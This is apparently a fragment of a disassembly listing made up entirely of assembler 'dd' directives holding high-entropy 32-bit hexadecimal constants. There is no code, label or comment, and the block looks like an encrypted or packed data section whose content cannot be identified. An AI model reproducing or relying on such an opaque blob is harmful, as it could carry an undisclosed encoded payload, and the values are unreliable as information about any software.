		dd 12B094F7h, 0E4B08EBh, 18BB0574h, 70DFC7B2h, 0FA0CD601h
		dd 2CF60DC8h, 38EF1612h, 0BA2F0149h, 0D896AB7Dh, 134D2556h
		dd 0FB9050FAh, 0D7B9EAB7h, 0BF5E2A85h, 0E90C7EB6h, 5B4C30A7h
		dd 0F70F31B3h, 3249C6F1h, 25BE091Ch, 1C029B47h,	7D0AF986h
		dd 56953AA8h, 0B3163F3Ch, 794EE780h, 2859EE09h,	42FCF9F0h
		dd 0BCF41B2Ch, 0D3122612h, 0B70DEB9h, 84B450F3h, 96ACE284h
		dd 521CC235h, 0BEDEA89h, 84E275CFh, 2E70FE02h, 0B4099EF2h
		dd 2515503Eh, 819EB1Ch,	660179EEh, 12906DADh, 0A5FF74FDh
		dd 8B56F5BCh, 0A0F9E91Ah, 0B50AB43Ah, 35C9F328h, 0EE2FE565h
		dd 0E6D5AD01h, 5AFB098Eh, 0D965B0A7h, 0D4CD7EF1h, 49BF4D6Ah
		dd 242F6227h, 0BB28DB03h, 180B2413h, 0A6281CBEh, 0FCA70145h
		dd 6F89CDA5h, 12DD99E4h, 12F46B54h, 8201BEEEh, 443D1D82h
		dd 16D9D46Eh, 0E6410408h, 248AF928h, 0E0245202h, 6BB6F7AFh
		dd 5157DBCBh, 2F548FCh,	79F905D5h, 0DD42A4D7h, 2759E8ABh
		dd 6855F474h, 42C0240Ch, 64DFB20Dh, 54BE0C6Ch, 7E0C5C1Bh
		dd 51CE4813h, 0E97B05FCh, 0A6687284h, 0C088BC23h, 3EE0727Bh
		dd 31FEF256h, 0E92BBA68h, 0A7FDE2B8h, 0CCE76DE8h, 52B409A4h
		dd 0EEFCC48Fh, 633500C5h, 0EA6E1052h, 0FEFD1FA8h, 773FC9DBh
		dd 538DA720h, 9EF425B6h, 0B3B8BF4Bh, 0B02A15C0h, 0DA0AF705h
		dd 4F042068h, 0C37C6041h, 0CF8770h, 724A68CBh, 4575BD55h
		dd 4156C48h, 3328FDEDh,	0CEE9C180h, 50439626h, 0F80E5D9h
		dd 806814C8h, 54C9BF0Eh, 226D6FAh, 0D296DCECh, 0C2B940FFh
		dd 10D7DD8Ch, 51B6409Dh, 3B544C50h, 0F6A01E22h,	787E23A7h
		dd 7325A68h, 2B27CC24h,	398A0228h, 4C000979h, 0C794D1EBh
		dd 24121B4Ah, 27BAF3BAh, 0E328E99Bh, 58C9C369h,	0E9F2D175h
		dd 931E477h, 19D54982h,	8E20327Eh, 0A003D727h, 0E54A5C67h
		dd 5294132h, 0D0F1BFA9h, 1B542978h, 0E7226F20h,	0C282652h
		dd 0F0BF34A4h, 75E70BB5h, 89D56074h, 0AD2EF18Eh, 15A96E8h
		dd 0BF962996h, 78E1A1E4h, 1C804E52h, 8B5DE5BBh,	24D71C66h
		dd 6AB28FFAh, 0BE2A1668h, 0F5EE2635h, 0EBBC7BE1h, 8461E913h
		dd 0F38F5622h, 33449382h, 680277A1h, 94D52AE0h,	0EFDB9F70h
		dd 0E976102Fh, 0F5AAA2BAh, 6DB224DBh, 4D655755h, 0CBA15297h
		dd 84A9A33Bh, 30BE0BFAh, 4C5F68DBh, 1735B49Dh, 402BE956h
		dd 458ABB39h, 895C5893h, 92B91061h, 0FAA7AE78h,	3BF1C706h
		dd 803F1469h, 5DE4F1B1h, 0E331D27h, 30D96B2Ch, 6B25E9F7h
		dd 0A5D068FFh, 3C59EF0Bh, 2CD4A4Eh, 6A31E908h, 23545F13h
		dd 0DA527D52h, 0FEFBFF13h, 0E98209A6h, 0C5DFEF74h, 5AD509B2h
		dd 0E9621A74h, 16F3FEB4h, 7A24B95Fh, 108AE42Dh,	80462120h
		dd 2BD2E04h, 91E447Ah, 1A881500h, 0CC04312h, 0D86E9726h
		dd 5BDD2589h, 1C00A1F4h, 0E92B5422h, 18A7B642h,	25A49455h
		dd 2DEAD84Ch, 1F7FF6C2h, 7FC27FDh, 38F12C13h, 78FEF2Ch
		dd 3274121Ah, 39A73A00h, 0C44BD987h, 0C875E906h, 714F88D2h
		dd 70808AADh, 0F2811603h, 2D7C2713h, 2EE2220Eh,	80602C2Bh
		dd 9343121Ah, 27F4097Ah, 3D019477h, 0DED4948Dh,	3D8309F1h
		dd 8EC355A0h, 0FA5518FAh, 181C71B6h, 0E4736E5h,	8606D272h
		dd 5FFB2922h, 6C1608F6h, 89027BFDh, 0EBF7E3DAh,	52DE99C7h
		dd 0EAE4CA9Ah, 0CF7A80FDh, 0BD09FB12h, 6B4CDC02h, 0E499FF09h
		dd 0F7017F3Fh, 0F64B81BAh, 9132720h, 1D42D20h, 0FA05BC80h
		dd 1B751F41h, 0BD52760Ah, 0C02CDBFh, 5771D617h,	0C7013660h
		dd 5F0B0982h, 27E98560h, 0D572E295h, 0BA34511Eh, 84F420A3h
		dd 0B7619287h, 41F6D466h, 53F48881h, 77F4E850h,	4EE17951h
		dd 398BEFCBh, 0DA39523Fh, 40D1D42Fh, 1114408h, 0AE3BD0B9h
		dd 0A468E84Fh, 59416CB4h, 0FBECDEF6h, 94D1BC0Bh, 0F927A6C2h
		dd 64A46148h, 0E7DE5582h, 0DBEB4089h, 1002A4B1h, 98F55B69h
		dd 40D4E53Ah, 65202876h, 938B5E2Ah, 9A052B33h, 80EBE858h
		dd 0DABA50C3h, 77234ADDh, 0E1F4B5B2h, 51D43B2Bh, 6960F8AEh
		dd 6CF05D0Ch, 68515D00h
		dd 0B04560Dh, 0CB012E59h, 3AF31A99h, 0FC25A4FEh, 683AC069h
		dd 6082085Eh, 3F37C5F0h, 21262269h, 9A8E0B5Dh, 0B9012967h
		dd 1D933523h, 32C7120h,	0E929B60Ah, 331D34AFh, 96BFA3EEh
		dd 3D0B5061h, 0B66EF5CBh, 43BB2C27h, 7D52A259h,	0EE881760h
		dd 0C6FE5918h, 0EB75304h, 92CF803Fh, 601EF66h, 8328343Fh
		dd 54F6525Bh, 0C0AEDD24h, 0B7B1B431h, 0E730AB0Eh, 68247858h
		dd 42735C07h, 0EE69B3C4h, 0C0BA36C5h, 29E91DC9h, 7941E349h
		dd 0D435017h, 0C8CDF200h, 0EC6A8517h, 1A6F09E5h, 980142E4h
		dd 0E02F0584h, 780F1D25h, 9D355258h, 0C1730AF8h, 0E017A9E8h
		dd 0D35609EAh, 2DE9C8D5h, 8F4B0FCEh, 0C01DD14Fh, 67663FC4h
		dd 555937E9h, 5DC31713h, 4509A5F3h, 3687DE6Bh, 0BF169E32h
		dd 646ADB98h, 0B1573A5Ah, 5FA24827h, 0B98F5CB5h, 690A4E00h
		dd 7C8ACA81h, 3F0BD5Bh,	0D021307h, 0AA760028h, 4A699213h
		dd 81036827h, 2A63E9EBh, 4DC89B2Fh, 0CBFE4ED3h,	0FCE9096Fh
		dd 4B6616ACh, 5C720AA1h, 681C04EFh, 78E2FE35h, 31B10B76h
		dd 3AD0E6B4h, 0FEE72050h, 0F780CF02h, 5DFD0873h, 18ECDA59h
		dd 66B824B7h, 5E0108DDh, 0D1715813h, 203B14ADh,	3CF0BD6Eh
		dd 0C9F0525Ah, 0FF601DC6h, 26ED814Ch, 7E38AE35h, 806C1A5h
		dd 0D414821Ch, 48050B64h, 1ABA5713h, 660E8350h,	8E377368h
		dd 0D385DB54h, 6FA8E553h, 338EB77Ch, 8203E9C2h,	51841975h
		dd 0FE80693Eh, 0CFC754D4h, 2D5C9090h, 0E10BD2CBh, 83A63FADh
		dd 4667E75Ah, 0BF5701A3h, 7305B3Fh, 15562882h, 316036E2h
		dd 4E237DBh, 3B274B48h,	71F28934h, 0DF66DF09h, 0B416B09h
		dd 0E360DDA3h, 879AED89h, 0AEB44F5Fh, 442E4B68h, 229F57Ah
		dd 5788D3F6h, 0EC800F60h, 2F25767Eh, 3E6FF520h,	91E5E984h
		dd 0BD6A0FCh, 0E501807h, 0E820D7B0h, 37F99FEEh,	0B0CCE62h
		dd 12922F82h, 0E662307Dh, 0F7D39D55h, 8A2C31ACh, 0E6A25D2Dh
		dd 657649E9h, 0F2513431h, 108FB66Ah, 0B9036489h, 4C3B55DFh
		dd 0C65654D2h, 0E48B834Bh, 0E89E4B09h, 9EF091ADh, 16D865E5h
		dd 1852985Eh, 0AD6DF695h, 0CB4AA56h, 0E9C4A0BAh, 5EFD7C58h
		dd 0F79033BFh, 0B812BAE4h, 0F901350Bh, 0B7368876h, 2431D825h
		dd 654FF05Fh, 0C0A2FF5Ah, 1BF8B4B2h, 1D504364h,	0C1B65202h
		dd 12F58384h, 98B644FBh, 3DEB1214h, 0EDD82B37h,	0F2C85E30h
		dd 0C05A277Eh, 2E195729h, 3C2EE1h, 0FD73D47h, 0CBA988E9h
		dd 222B01h, 0C35505DBh,	0C1071C08h, 0BA612FCAh,	33BE5690h
		dd 85495A42h, 2C60C050h, 283C5BFBh, 663CFEE8h, 0BC63BF59h
		dd 0D8B02549h, 465824BAh, 0A42E4207h, 9F3E6D0Ah, 4A7FBD26h
		dd 0D377CBAAh, 2C4C68B3h, 0C8310A0Dh, 7A176B9Eh, 7B8629BEh
		dd 41E481D8h, 406F4427h, 0F2C68197h, 502F4C0Bh,	4A145731h
		dd 38BC2D0Fh, 5905892Ah, 40F232FDh, 0E1EBFF40h,	29024409h
		dd 0C38405D0h, 0E984F4B9h, 3DE2FA12h, 120AF540h, 0BA3CC668h
		dd 5D698762h, 0A3D55F29h, 0DB6AC058h, 0F645CD0Fh, 8BE0DCE9h
		dd 3E7AB705h, 48BD2D5Bh, 6830FF0Eh, 972C40CAh, 0C884FABDh
		dd 0E1BED4C5h, 2F538A8h, 2558F08h, 0BCAFD747h, 270C299Dh
		dd 2D2D734Ch, 33C62027h, 0C1235671h, 457F8B0Ch,	0CF30306Eh
		dd 7721FD40h, 95D934E8h, 716F8033h, 0A984161h, 67BBA65Bh
		dd 0E84FB447h, 56AD5A28h, 9AC65DCFh, 3FFA1C73h,	5960DA6Bh
		dd 0BA495A56h, 0CFB96228h, 920B559Bh, 7540D7A5h, 16A1684Dh
		dd 1EE6C12Fh, 8905E645h, 0E67D2C33h, 3D5B252Ah,	70252DE6h
		dd 4FA613D8h, 7C65FB07h, 110B1B00h, 90423473h, 0EEF809CDh
		dd 3862CB8Ch, 4995537Dh, 0B8CEFFh, 6336857h, 815F567Eh
		dd 6901CF04h, 88EE0929h, 4F1937F2h, 880C7854h, 976B71E8h
		dd 0D4844389h, 7EB90109h, 0A06EE333h, 62821FBBh, 42EF1363h
		dd 8E4CFB0Ch, 0A2643604h, 97C4EA68h, 88DE78ACh,	6A283AC1h
		dd 0E02F0241h, 8740065Eh, 8BFB94FAh, 7952A85Eh,	0B96EAE02h
		dd 88CA297Ah, 142F088Bh, 0D789269Dh, 0EEE941BCh, 300F247Bh
		dd 0BED940h, 0C85086Ch,	0B95EF589h, 0D0229D03h,	8AE9311Eh
		dd 27AA5C83h, 95709CD4h, 65669705h, 9321E827h, 8790C18Bh
		dd 0A08E667Ah, 7C21B909h, 0FB68B6Bh, 0D194C402h, 0E909F9BCh
		dd 83ABC275h, 2FFDB34Ah, 788FCBEFh, 0A66812C1h,	0B569AF35h
		dd 3B95C92Fh, 89F248A8h, 25A264F7h, 860286E9h, 60F7EED1h
		dd 2FDF13CAh, 8B7E1CF5h, 55FE6870h, 0C02B4109h,	0F0306154h
		dd 0C6E90509h, 88C1512Ch, 0EFAE268Ah, 0ACCDF70Ah, 2B7B81D2h
		dd 0F4BB4611h, 0ECC64C2Fh, 19723F24h, 5ABF7D95h, 0B52853F1h
		dd 2B2571B0h, 4FB7C5Ah,	0F1DF4015h, 3521D96Eh, 39B93F40h
		dd 492889DFh, 0A054E1DCh, 80126801h, 3FEF095Fh,	8AF26C1h
		dd 24A4CA3Fh, 0B8813917h, 1BA93FA8h, 2C669940h,	0F86D4A01h
		dd 24646241h, 0D2D5E4Ch, 3DFB4608h, 0A5680BA9h,	0E6E3B16Bh
		dd 4649C77Ch, 557B7D04h, 63C2AF09h, 0F1A580D3h,	787AE86Ch
		dd 45A5A31h, 0FEFAE918h, 9ABE4B16h, 93E14A39h, 5E843830h
		dd 12E5F6A3h, 67EF1C30h, 1729A31Dh, 0F053ED25h,	465EBF33h
		dd 0C154E9D9h, 1AE1B401h, 61F61943h, 0FA575EFCh, 5D61F2C0h
		dd 5F667B13h, 5BF3A009h, 0FE2553A5h, 11EA520Dh,	0E62A248Dh
		dd 1250F2FDh, 0C970C968h, 0ED54207Ch, 44543317h, 0A94044BCh
		dd 7B43124Ah, 6BA80268h, 23607A85h, 49916735h, 3EB95180h
		dd 7136B57h, 77A0C981h,	0CB827BEBh, 148AFEF1h, 0C9422D2Bh
		dd 50EBD1D7h, 7C5AE957h, 0ADCCC516h, 0FF584BC7h, 0A1BA6064h
		dd 9BA8023Bh, 0EF8FD0Fh, 6E8058C2h, 0AEDA0E4Bh,	0BAB2EAh
		dd 76B5D4C7h, 5790E530h, 0FECF1162h, 96F7825Fh,	0F56094Fh
		dd 0ABE02F27h, 12AF7FBBh, 0B2B4E87h, 0AF1FE775h, 2D5BD95Ch
		dd 1BF585D2h, 33BBD145h, 45076A34h, 0B1DC000Eh,	609D2835h
		dd 825FB4B9h, 39953382h, 0EE2D814Ch, 0A5BA5B02h, 2BDA7DC1h
		dd 0F15DEF82h, 0F57C6B62h, 13A9E589h, 7BFBB0F6h, 0EA0132DBh
		dd 5C05345Ah, 66F8B901h, 1B7D2198h, 3A1EFA5Eh, 0CABE6C17h
		dd 335F054Ah, 8017D3Ah,	68964FD3h, 84487E46h, 1C10D00Ch
		dd 1585E982h, 5A70C9D6h, 7D782E3h, 77924A3Ch, 0C9F25D6Eh
		dd 0B25BB879h, 0F4ABD794h, 665A5ED6h, 4868C58Ch, 4584DA90h
		dd 6641EEF3h, 422D511Dh, 3F1EC17Ah, 25C53002h, 5C21C640h
		dd 490908F9h, 5748FEE5h, 56BDE1F6h, 68093A72h, 0EC750B58h
		dd 29E92AF0h, 0A25D5BF2h, 0DF05E2F8h, 0C4E930A2h, 881C85D0h
		dd 70E45AF0h, 0F5A2983Dh, 12E00586h, 5DD077h, 333E2DF0h
		dd 56C7139Eh, 7420480Dh, 0E10622E9h, 0D20DE82Ah, 4018CEFBh
		dd 818032A2h, 2BD50BCEh, 8E001B67h, 5713D16h, 140F2C90h
		dd 8026F525h, 0AD3EEBE6h, 600DB879h, 78C73BC3h,	6FFB168Bh
		dd 9E825EC4h, 601E7457h, 728A5159h, 12A64E40h, 0BAAD7FDEh
		dd 9F5000D8h, 0B161695Eh, 6407FEE2h, 35A4D039h,	3B25BE4Bh
		dd 0A1C2D0B8h, 917CF372h, 0CCCAAB93h, 0EAC7E985h, 0F78CD717h
		dd 0BCFE4BD8h, 0F8C9B74Ch, 68AC3A33h, 0C0196E2Dh, 8F487A48h
		dd 20F8A8A8h, 8ABECE87h, 8E341082h, 3588756Ch, 0E9560407h
		dd 5D73B060h, 73DDCCB5h, 0CF6880B9h, 0D1B9524Eh, 0A4367882h
		dd 0E92607EEh, 0FFA5BD6Bh, 5C8B1565h, 7A407F2Dh, 6A5D6F68h
		dd 5E389B22h, 0B08BE910h, 6E576850h, 88CB6F1Ch,	39D1FD48h
		dd 7ECBB227h, 0E27F27C9h
		dd 1AE4F598h, 97F2DBB5h, 15C7B729h, 584CFE9h, 804830Dh
		dd 0E2AE9182h, 279FF327h, 20C93CFFh, 511CC346h,	892F988h
		dd 134EEAF9h, 2BB6AA64h, 7E70D4CDh, 27685B28h, 0D7D14927h
		dd 31DFECADh, 0F776C93Eh, 0AAB360D9h, 7A385916h, 8100B0ECh
		dd 0FCE447E9h, 0CD0BBE6Ah, 0D093F13Bh, 72B396ABh, 0ACF94A61h
		dd 7FA5C38Dh, 0B9C49C16h, 0CC12D33Ch, 88285250h, 9C45DAEEh
		dd 92AAF615h, 5175FD2Ah, 99F8495Dh, 0E913E7FEh,	0DDE9E5B7h
		dd 9E30ED58h, 50E8D10Eh, 6320A1B0h, 0B4589D12h,	54813FE4h
		dd 4937B930h, 3281300Dh, 60639A49h, 0C0805758h,	480662ECh
		dd 770B200Ah, 330B6F0Fh, 0C307545Ah, 20EEAB6h, 1663ACBFh
		dd 5E807C59h, 5FBA97D5h, 915237C5h, 0A605E315h,	7BA7C19Ah
		dd 0DA53147Ch, 0D54C5E3Ch, 100BBB03h, 685E403Bh, 0E912F2ADh
		dd 5F52FE01h, 0AACF83A2h, 26BA1F70h, 81101A80h,	57730E2h
		dd 0F7525E11h, 0E4E6FE14h, 45CCC200h, 62E97F37h, 7E7D629Dh
		dd 255EEA02h, 3FE7C55Fh, 0A9E7275Eh, 80596CFDh,	483BE908h
		dd 0E95E01D2h, 8468A0EDh, 0AA2BE13Eh, 0EA42A172h, 99F85773h
		dd 9FC5B629h, 0E5D5CB87h, 0C55F89E7h, 0E1D6D9Bh, 824335C5h
		dd 97C900BBh, 8373DE7Fh, 0F1E081F9h, 7E647D0Eh,	4D47FE3Bh
		dd 79D731D3h, 3DE3EDF0h, 68071D02h, 0C31624A1h,	40D277DBh
		dd 0F600160h, 685490BFh, 5EFC252Ch, 5551C7D4h, 0CA121D2Ch
		dd 7D7B332h, 12736620h,	5AF4ACD5h, 8B865E6Ah, 0BF25B2Dh
		dd 0F3EB0C7Bh, 0C522B2EDh, 0F025220Bh, 0E5F3C334h, 0CCA00817h
		dd 136C0186h, 0D2E95169h, 2F447B6Fh, 9CD122C6h,	0F46F585Fh
		dd 695A4875h, 0C6EBB552h, 5E970C0Fh, 2C37261Bh,	0AE3DA473h
		dd 4EE9E1F9h, 785D63E1h, 4E9F46E6h, 0DE6B004h, 33235831h
		dd 5FD92CD8h, 827775FEh, 2D53D7AAh, 8B57A7BDh, 88FFE79h
		dd 0D1ADD710h, 68524296h, 0B5C670DFh, 0DE261AC7h, 50E69109h
		dd 272D0BA1h, 0D7904C23h, 3EB4E332h, 0E7C9F7EBh, 68F62B55h
		dd 0E16683DAh, 32178F3h, 0E6C00CB6h, 3EE9908h, 0B62C6EF5h
		dd 9034AF4Fh, 54B326BCh, 2F8F68C1h, 23E9F431h, 0CD037572h
		dd 16FC14B2h, 7364C9DAh, 5B2DD877h, 0EC33F56Dh,	3D8192D9h
		dd 2C2168Fh, 2D778AFEh,	0DFA042A3h, 0DA0CFC31h,	431C677h
		dd 0F15833F2h, 2DA4BC76h, 5875AC5h, 0B56E3EC6h,	149D1E47h
		dd 355E08EEh, 0EB1825E1h, 56BE5953h, 2CD70480h,	0C830FA10h
		dd 3C0B4BBFh, 61D86C9Fh, 0A4CF2116h, 0E04B7726h, 0F5843685h
		dd 0A126BCBBh, 0E86B86E4h, 0CF296B1h, 5E135C17h, 0EC34526Bh
		dd 4831C0BEh, 4A292BFEh, 9E4FBFC5h, 0D931582Ah,	43C7B526h
		dd 68E7D818h, 123A5490h, 0BE1954E9h, 27EE3C80h,	76C9BE38h
		dd 0E893553Fh, 4061DD26h, 9401339Ch, 0EE313D12h, 6B14E8ACh
		dd 2118BC66h, 85E99DC6h, 0A73ED5B4h, 0EFC8C059h, 0C7C2E119h
		dd 0B131131Ch, 6AF67E25h, 4B374B12h, 0E93A87ACh, 0BAA0E8D7h
		dd 1606F257h, 0EFEAD170h, 27A12B40h, 98E9354Eh,	9D77B2CCh
		dd 0A7583BD0h, 582E76A3h, 631AC128h, 0DDEADFE5h, 12849663h
		dd 7B5A9844h, 49C0F2F8h, 0E90F9730h, 5E09DE5Ah,	25C1D629h
		dd 0BF582F24h, 2F54323Ch, 248B71E9h, 0AF1C45F7h, 58299CD7h
		dd 0AE0ECD51h, 0D149407Ah, 0EEEBB80h, 0C19F6977h, 0E8E4B6AAh
		dd 0B3894486h, 80030CB2h, 8850A4F3h, 5DFA48D8h,	11F1842Dh
		dd 0E06A4959h, 70605BA6h, 40BDC731h, 2D66E193h,	9D79E90Bh
		dd 82258FF2h, 0E31C573Dh, 0CCFC535Bh, 0EAE9D106h, 0EB4E577Bh
		dd 0EA4AB1E3h, 0F4D63491h, 55A2296h, 0E25E9B0Bh, 0FDF37A94h
		dd 0D922B09h, 318340CEh, 928AF8CAh, 0A7A98F33h,	6D01ED76h
		dd 0E7C14456h, 91AC8230h, 805B0759h, 0ED66EEC5h, 4D70061Ah
		dd 0BDE9EC12h, 0D2F19956h, 9AA1F2E0h, 0E6C12F5Fh, 9727B3D0h
		dd 62705E84h, 79553EFCh, 51E9C11Ch, 88406EB1h, 6DAF5809h
		dd 2F419D59h, 24B92C1Fh, 0A003BC50h, 0E1204A46h, 0A365269Eh
		dd 3D51C130h, 0DB94D4B5h, 0B081EDD0h, 2B73921Ch, 804CDE5h
		dd 0D4BF63C4h, 0FA14AE9Dh, 0F1C4B7C7h, 0D3BF3884h, 0E9C029B7h
		dd 8CC0D5F6h, 354275BBh, 0E5D8A009h, 0B8332DFCh, 5502CFDCh
		dd 57437C91h, 794BF271h, 0E9DD0573h, 7FDBB1A0h,	47A48501h
		dd 0ABF13B0Ch, 694D6838h, 4263C1A4h, 0C8BD0082h, 4C383D62h
		dd 5F1DB91Ah, 54F04A42h, 5463AB67h, 7D976897h, 7EEE7D0Bh
		dd 2CA87BF9h, 5DA6683Eh, 0D2C4C490h, 88775A4Bh,	14506C87h
		dd 0C050185h, 4E3BA42Dh, 3D20605Fh, 5504B3Dh, 45DB03A9h
		dd 7E410AFh, 1205AF41h,	0CBA6C1BAh, 0AD983B5Bh,	0BE3EE914h
		dd 325EEC2Eh, 0DE6257F9h, 985F91C2h, 2E4D1122h,	12BB77B9h
		dd 43ADF4AFh, 58864F4Ch, 0E0D32040h, 94DD95E6h,	0C6801781h
		dd 1E950BFAh, 0A2ABAFAh, 0DE2D9C5Bh, 201B4659h,	0BB095208h
		dd 8D6627F7h, 0D110FC7Dh, 0B7415AD1h, 0A18B320Fh, 0E4B73E40h
		dd 4A4F6CF2h, 0EB8B74BBh, 0F3E8FA5h, 90245B02h,	53A5D54Bh
		dd 7EE2BBF5h, 0B5D1E9F0h, 0B2059BB2h, 5D489826h, 0AE2304BFh
		dd 0AC342E8h, 7F8ED56Ah, 1E17A6D3h, 5407919h, 0FF030C35h
		dd 33E9181Eh, 58C3E112h, 6803E4AEh, 9953523h, 5480ED5Ah
		dd 0B75552D5h, 0DBDDD84Ah, 0B0F74956h, 90D2F73Eh, 0CAFD0509h
		dd 452F66Ah, 0BCA33C86h, 50C18BC5h, 88EAC57Dh, 1C31AF92h
		dd 1CA4CBB7h, 0A9F70604h, 0D02032B2h, 0D256BFF2h, 0E45E4B93h
		dd 65A76845h, 0A92B32BFh, 572DA476h, 0E0953534h, 60DD593Bh
		dd 2AA66C3Ah, 0CC07886h, 5D99779Eh, 0F8B430E9h,	58C22866h
		dd 6C18D0B0h, 404C0FEh,	150CA817h, 5997234h, 0E9C32C67h
		dd 0AA0F958Eh, 174F8AE6h, 0C20D8A6Eh, 550876E9h, 68529520h
		dd 0D0511C98h, 0D12260D2h, 380D4512h, 9D83A704h, 14E1E9CDh
		dd 0C84A357h, 0C231B9EFh, 0CA251DE9h, 0F6D6680Bh, 10C816FBh
		dd 961DFB35h, 42894172h, 7851DD16h, 1AF8F30Ch, 1CEBB64Ah
		dd 0F413C281h, 2F4025Bh, 5EF09239h, 0CE94A0Bh, 1EF768C9h
		dd 56DF87D3h, 5D3E4B50h, 8D7FC6FDh, 56FEA7D6h, 58F4F08h
		dd 62395E68h, 64FF6CF7h, 0F55C9DCEh, 5EFE933Dh,	124330EBh
		dd 1E011B0Ah, 0E96EED81h, 0B36F1CA6h, 0F507109Bh, 0E7021C48h
		dd 5D1A6472h, 0E56180D7h, 95451C3Ah, 541F7D00h,	18CB5017h
		dd 87CF09F1h, 9BDB8679h, 0EF92FF00h, 2535EC89h,	0E7195453h
		dd 48E9E456h, 0B024D160h, 95C62877h, 0CB8BDCE5h, 0D23D741Fh
		dd 6BC359DFh, 0E48FED9h, 6873EB80h, 58297D45h, 8D4CDDF3h
		dd 0E0114D18h, 0F82D12C8h, 5E5EE16Bh, 0D252F87Ah, 1715950Fh
		dd 77C48E20h, 0BD6A4E04h, 210841B6h, 13E86E1Dh,	854E12B8h
		dd 7B2D2170h, 7EC82C2Fh, 705146Dh, 0A94E90Ch, 0C55CFE2Eh
		dd 0DC9C2D7Dh, 44880817h, 10480501h, 5AE817C2h,	0D6EEF55Ch
		dd 0DB306928h, 56816360h, 9206A3D8h, 0ADF44AF6h, 0E3529E59h
		dd 27D91BD1h, 311E727Eh, 84B1E45Fh, 7FE91570h, 5806D3Ah
		dd 0CCD649Ch, 1C94295h,	5692E907h, 0A8F72F81h, 6E056E52h
		dd 18825CF0h, 0C02541Ch, 0B648760Bh, 0F94D7AD3h, 0FA909D9Eh
		dd 5713413Fh, 9E98FD01h, 1743F797h, 143D987h, 39C98106h
		dd 3A483D0Ah, 5EA36ED7h, 0F1D03ABFh, 5EEF4AF7h,	8CF52ABh
		dd 5112FA59h, 0EB960605h, 0FB0539AFh, 0C1D55ED5h, 0E4445CE3h
		dd 8397ED22h, 80E6D0A7h, 0F420B0F6h, 0E4C0005Ah, 0ABB15103h
		dd 0DE629AE9h, 455D5826h
		dd 34A54220h, 61BB5804h, 4D0914FFh, 31AB3A90h, 3FA152B4h
		dd 0DA864E41h, 9AD78853h, 5BF484FEh, 0E2B291ABh, 0D0D0DD58h
		dd 8B3BF280h, 78E90A28h, 68842DCEh, 30BF36DCh, 2FA0B8A8h
		dd 0B0476F2Fh, 81C8880Ah, 3CF13E46h, 1FFD3730h,	0D7066235h
		dd 0B035532Eh, 0C2973834h, 0EEFB5F5Eh, 7445E9E2h, 0EFD82DD3h
		dd 98846B05h, 5EE031B7h, 2A6702EAh, 0CA012711h,	1E194E60h
		dd 0E0907195h, 90599ABFh, 2A536332h, 8406FE4Fh,	885D5055h
		dd 0EA519385h, 0EAA33D1h, 242ABF57h, 1BB69B7h, 0FBE94F26h
		dd 50429371h, 3D81381h,	5380CEDh, 0B0C87773h, 820D9427h
		dd 0F862C286h, 4BF02F63h, 29201058h, 0FD0882CBh, 608811E5h
		dd 38D72597h, 0FBA5B618h, 8513D1FAh, 0A347BA68h, 61191111h
		dd 0DD7C327h, 0D57B0C22h, 197D0B0Bh, 0C52199D5h, 2B3E7E25h
		dd 23522594h, 0C09C516Bh, 9BFEC743h, 65934CEAh,	6238D641h
		dd 6C02610Eh, 6E8C140h,	0A5002540h, 48149274h, 0C02FFE2Dh
		dd 1D34EB7Dh, 6AB54CC3h, 960809FDh, 9F3FE2Eh, 0C60110CFh
		dd 0E9369057h, 39909447h, 19E955ACh, 4CBC2D1h, 9A88BA83h
		dd 2B160C5h, 0BFC8D3E7h, 8814CD98h, 20C3D02Eh, 0B098055Ah
		dd 4B01C4A5h, 5BECF2C5h, 0B86121FAh, 882E85C6h,	7AC151D0h
		dd 0F0511ABAh, 1CBDED38h, 0FA94DF6h, 75D90500h,	0F02949C7h
		dd 0D5072D51h, 0C4DDC8Eh, 0D1A8564Eh, 0C94C3905h, 20D0E871h
		dd 88CBA87Eh, 0BEF097CCh, 6CB12BA5h, 0C871846h,	2D4F780h
		dd 0D4F95BFEh, 0F6B35382h, 33825730h, 0D6F92FAAh, 56A52FBFh
		dd 4A742D9Fh, 0C1C6073Bh, 0EEB7CE28h, 7AE9755Ch, 0A8A09DC4h
		dd 0D522AC3h, 51C260E7h, 4108B951h, 245D5984h, 0CEE968FFh
		dd 68C4555h, 4FE169E9h,	0EC4BB7ECh, 0BD68DACh, 999153EFh
		dd 6F79EC47h, 40A46816h, 1731D08Ch, 975DA37h, 0C00181DEh
		dd 2026622Dh, 487BAE1Ah, 0A2186660h, 25348415h,	0B361E8E9h
		dd 10B3674Ah, 0A84ADC14h, 67E74B3Ch, 57E81D51h,	3A112468h
		dd 0D76FC280h, 0DBEA2075h, 90D551DDh, 64A76Ah, 5F21AAEAh
		dd 42972902h, 750809F0h, 68201416h, 92E0BF41h, 68D7C57Dh
		dd 5F4E43E8h, 53A81272h, 0D3D0BA3Eh, 4B3AFAE6h,	1080E9BBh
		dd 0D29D2AC4h, 6817C139h, 31EE2F09h, 7ED26026h,	55E1CEC9h
		dd 7585634h, 8E1D6125h,	4FE4B669h, 0F2877497h, 226D465Dh
		dd 0C0129AA6h, 0F1BE02EDh, 7D9E884Fh, 7ABE0037h, 5732547Bh
		dd 0AAA4CFF7h, 0A2D359B2h, 2A05C04Fh, 91F316FCh, 460464DBh
		dd 0CBCFD93Dh, 327140FAh, 0D8E16D8Bh, 7260ED4Fh, 32144AD0h
		dd 77B2558Bh, 0A5EF7675h, 0E91B399Ch, 0A020A0B9h, 4A102B46h
		dd 0E1AB86Dh, 0A5262A31h, 0A1B918E2h, 674FC302h, 28571C5Ah
		dd 581208B3h, 9DDAA9F3h, 1F37161h, 0FC2BF821h, 82E9E182h
		dd 88C1A1C2h, 616B3867h, 13EB4A32h, 0D00C88E2h,	9DF2EC7Ch
		dd 85691FDCh, 0A6E865B5h, 2E9F294Eh, 56A0D0F9h,	0DF4A80E9h
		dd 3717888Eh, 6E69DDABh, 0D9B176F8h, 96213809h,	174465AEh
		dd 2BB3F158h, 0AA8579A6h, 0CB9AA811h, 8C67166h,	6807EC7Ch
		dd 5F141A3Fh, 0EF509FA3h, 742F1329h, 1217ED3Bh,	0FBE8E07Ah
		dd 7101EF93h, 36EE612Eh, 31920C83h, 0E5E01B22h,	2D486EF8h
		dd 0BAFB18D8h, 3C464E84h, 5AF4DEF7h, 0BEC790C2h, 0A67B0C5Bh
		dd 41EA844Bh, 19ECF545h, 5855E43Eh, 0B0C57FF3h,	56836580h
		dd 0FE335EE8h, 2E54001h, 98DB7FC7h, 60012D7Bh, 72671838h
		dd 0F73755CEh, 0AB502DD7h, 1766464Ch, 0B3502AE9h, 41EE4A50h
